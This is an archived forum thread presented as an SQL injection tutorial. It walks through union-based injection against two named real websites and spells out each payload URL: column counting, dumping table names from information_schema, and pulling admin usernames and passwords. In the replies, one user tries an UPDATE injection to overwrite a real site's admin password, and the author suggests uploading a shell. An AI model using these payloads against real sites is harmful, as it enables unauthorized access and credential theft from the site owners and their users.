[TUT] SQL Injection with Demo on popular scripts

Started on the old forum in September 2011 · view the original in the archive · old links redirect here

3 replies · 1,228 views · started 15 years ago · 1 min read

3 participants
StRiNg_MaStEr Developer · 93 posts #1

Power of '

i am sawing demo on mymp3singer.com and samwep.com

www.mymp3singer.com/artist.php?id=77'

something changed in page this means site is vulnerable

Now Finding No of Columns will use order by to do it

http://www.mymp3singer.com/artist.php?id=77 order by 1 --  

same page [-- are comments]

http://www.mymp3singer.com/artist.php?id=77 order by 2--

same page increase untill u get changes in page or error

i got at

http://www.mymp3singer.com/artist.php?id=77 order by 3--

so we have 3 columns

http://www.mymp3singer.com/artist.php?id=77 union all select 1,2,3--

it should show number of that column on page if not then add - before 77

http://www.mymp3singer.com/artist.php?id=-77 union all select 1,2,3--

we can grab data from 3rd column

now getting table and column names

http://www.mymp3singer.com/artist.php?id=-77 union all select 1,2,group_concat(table_name) from information_schema.tables--

got table called 'admin' for columns replace table with columns now to get password

http://www.mymp3singer.com/artist.php?id=-77 union all select 1,2,password from admin--

you cn try same methode in any script it wil give u gain access

for samwep.com

http://www.samwep.com/categorylist/-18%20union%20all%20select%201,group_concat%28username,0x3a,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15%20from%20admin--/main/Wallpapers/default/1.html

Passwords are encrypted you have to Decode them

If you paid much bucks to get script it doesnt mean its 100% secure

To Admin of those sites Please secure your scripts before sumone steals your data and scripts

atef Developer · 224 posts #2

i tried

http://www.mymp3singer.com/artist.php?id=-77%20union%20all%20update%20admin%20set%20password=MD5(atef)--

but its not working.. Lol

StRiNg_MaStEr Developer · 93 posts #4

lol its not md5

to hack in upload shell with loadfile

Write your reply now; next you create a free account (or sign in) and it is posted right away. Sign in to reply.

Similar topics

Keyboard shortcuts

g f
Go to forums
g h
Go to your feed
g m
Go to messages
r
Reply (in a topic)
/
Search
j
Next post
k
Previous post
?
This list
Ctrl/⌘ + Enter
Send what you are writing
Ctrl/⌘ + B / I
Bold / italic while writing
Esc
Close